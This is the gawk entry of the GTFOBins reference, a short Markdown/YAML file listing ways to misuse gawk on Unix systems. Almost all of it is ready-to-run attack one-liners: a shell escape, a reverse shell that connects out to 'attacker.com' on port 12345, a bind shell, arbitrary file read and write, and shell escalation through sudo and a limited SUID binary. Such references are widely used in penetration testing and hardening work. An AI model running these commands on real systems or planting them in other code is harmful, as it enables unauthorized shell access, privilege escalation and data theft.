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https://github.com/GTFOBins/GTFOBins.github.io
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35 lines
1.2 KiB
Markdown
35 lines
1.2 KiB
Markdown
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---
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functions:
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shell:
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- code: gawk 'BEGIN {system("/bin/sh")}'
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non-interactive-reverse-shell:
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- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
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code: |
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RHOST=attacker.com
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RPORT=12345
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gawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
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s = "/inet/tcp/0/" RHOST "/" RPORT;
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while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
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while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
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non-interactive-bind-shell:
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- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
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code: |
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LPORT=12345
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gawk -v LPORT=$LPORT 'BEGIN {
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s = "/inet/tcp/" LPORT "/0/0";
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while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
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while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
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file-write:
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- code: |
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LFILE=file_to_write
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gawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
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file-read:
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- code: |
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LFILE=file_to_read
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gawk '//' "$LFILE"
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sudo:
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- code: sudo gawk 'BEGIN {system("/bin/sh")}'
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limited-suid:
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- code: ./gawk 'BEGIN {system("/bin/sh")}'
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---
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